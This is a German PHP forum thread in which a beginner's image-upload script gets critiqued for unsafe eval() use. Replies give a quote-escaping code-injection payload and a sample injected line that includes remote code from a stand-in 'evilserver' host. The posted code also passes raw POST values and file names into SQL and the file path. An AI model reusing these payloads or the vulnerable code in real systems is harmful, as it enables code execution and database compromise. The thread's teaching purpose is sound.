Ergebnis 1 bis 20 von 53

Thema: [Vorstellung] tHE fAKE pAGE!

Hybrid-Darstellung

Vorheriger Beitrag Vorheriger Beitrag   Nächster Beitrag Nächster Beitrag
  1. #1
    Also phpinfo() Funktioniert wenn ich es direkt in eval() eingebe aber wie soll ich von außen da ran kommen? Ich benutze ja keine Variablen in eval().

  2. #2
    Das Problem ist, dass du nur Anführungszeichen escapest. Aus " wird also \". Wenn ich aber \" in einem String habe, wird \\" daraus. Damit ist nicht mehr das Anführungszeichen escaped, sondern der Slash - und der String ist zu Ende. Danach kann man beliebigen PHP Code ausführen.

    Schreibe ich zum Beispiel folgendes in das Template:
    Code:
    \"; phpinfo(); //
    Kommt in PHP folgendes raus:
    PHP-Code:
    $foo "\\"phpinfo(); //" 
    Und was das bewirkt, kann man sich ja denken

  3. #3
    Hm ok das hab ich jetz verstanden nur wie komm ich an eval ran und kann so schaden verursachen? Das ist mir immer noch nicht begreiflich. ;(


    Hab grade festgestellt das der Upload irgendwie nicht geht aber ich habe keinen Plan warum. -.-

    Hier mal der Code:
    PHP-Code:
    $content =         "<p class=\"read\">".$lang['fake_rules']."! </p>";
    $verz =         "gallery";
    $info =         getimagesize($_FILES['file']['tmp_name']);
    $filesize =     filesize($_FILES['file']['tmp_name']);
    $form1 =         "\n<form enctype=\"multipart/form-data\" action=\"?main=add&amp;insert=true\" method=\"post\">";
    $form2 =         "</form>";

        if (isset(
    $_GET['insert']) == "true")
        {
            if (
    == $info[2] OR == $info[2])
            {
                if (
    40960 >= $filesize)
                {
                    if (
    move_uploaded_file($_FILES['file']['tmp_name'],$verz."/".$_FILES['file']['name']) AND entry($_GET['insert']) == "true")
                    {
                        
    $query "INSERT INTO ".$pref."fake (
                                        fake,
                                        faker,
                                        befake,
                                        password
                                    ) 
                                    VALUES (
                                        '"
    .$_FILES['file']['name']."',
                                        '"
    .$_POST['faker']."',
                                        '"
    .$_POST['befake']."',
                                        '"
    .md5($_POST['password'])."'
                                    );"
    ;
                        
    $sql mysql_query($query) or die(mysql_error());
                        
                        if (
    sql$content =
                            
    "<p class=\"success\">".$lang['fake_upload_success']." <br />
                            - <a href=\"gallery/"
    .$_FILES['file']['name']."\">".$_FILES['file']['name']."</a></p> \n
                            <p class=\"success\">"
    .$lang['fake_new_success']."! </p>";
                    }
                    elseif (!
    is_uploaded_file($_FILES['file']['tmp_name']))
                    {                
                        
    $content "<p class=\"error\">".$lang['fake_upload_failed']."! </p>";
                    }
                }
                else 
    $content "<p class=\"error\">".$lang['fake_badfile']."! </p>";
            }
            else 
    $content "<p class=\"error\">".$lang['fake_badfile']."! ".$info[2]." -- ".$filesize."</p>";
        }

    eval(
    "\$content .= \"".gettemplate("style/fake_new")."\";");
            
    $htm_content =     $form1;
    $htm_content .= $content;
    $htm_content .= $form2
    Er gibt auch nichts ueber $info[2] und $filesize aus. -.-
    Irgendwie hab ich da nen Brett vorm Kopf.

  4. #4
    Zitat Zitat von deadshox Beitrag anzeigen
    Hm ok das hab ich jetz verstanden nur wie komm ich an eval ran und kann so schaden verursachen? Das ist mir immer noch nicht begreiflich. ;(
    Wir haben schon gezeigt, daß bestimmter PHP-Code aus deinen Templates heraus ausführbar ist, weil du nicht alles escapt hast, was gefährlich sein kann. Jetzt stell' dir vor, wir finden noch eine Escapelücke oder du verwendest später wieder eval() und paßt da nicht richtig auf. Dann müssen wir dir nur noch ein Template unterschieben, in dem irgendwo etwas in der Art von if (time() > 1185643219) include('http://evilserver.tld/worm_uploader.php') drin steht und ab dem 28.07.2007, 07:07:19 Uhr wird Schadcode von einer anderen Website eingebunden (die Zeitverzögerung macht den Angriff schwerer auf das Template zurückzuführen). Und nein, ein echter Angreifer würde nicht so offensichtlichen, plumpen Code schreiben.

    Es geht hier darum, dir allgemein eval() abzugewöhnen. Jeder Programmierer macht Fehler und Fehler im Zusammenhang mit eval() neigen dazu, sicherheitstechnisch katastrophale Auswirkungen zu haben.

  5. #5
    Zitat Zitat von Jesus_666 Beitrag anzeigen
    Es geht hier darum, dir allgemein eval() abzugewöhnen. Jeder Programmierer macht Fehler und Fehler im Zusammenhang mit eval() neigen dazu, sicherheitstechnisch katastrophale Auswirkungen zu haben.
    Gut ich sehs ja ein. ;]
    Nun hab ich noch mal ne frage zu ' und ". Wann setz ich nu was ein? Finde irgendwie nix zum nachlesen da ich nicht weiß wonach ich suchen soll. ;[

  6. #6
    Bei einfachen Anführungszeichen wird der Text einfach als solcher ausgegeben, bei doppelten übersetzt der Parser Variablen oder Ausdrücke.

    PHP-Code:
    <?php
    $zustand 
    "gut";
    echo 
    "Mir gehts $zustand.\nDanke der Nachfrage.";
    echo 
    'Mir gehts $zustand.\nDanke der Nachfrage.';
    ?>
    Ausgabe beim ersten:

    Code:
    Mir gehts gut.
    Danke der Nachfrage.
    Ausgabe beim zweiten:

    Code:
    Mir gehts $zustand.\nDanke der Nachfrage.

    Wenn du also nur Text ausgibst, empfehlen sich einfach Anführungszeichen, weils performanter ist.


    Ach und btw. Es wäre mir recht, wenn du das ständige ";D / ;] / ;[ / ;) / ;(" etwa tausendmal pro Post unterlassen könntest; ab und an gehts ja und nix gegen Smilies im Allgemeinen, aber mit der Zeit gehts ehrlich gesagt etwas auf die Nerven.

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •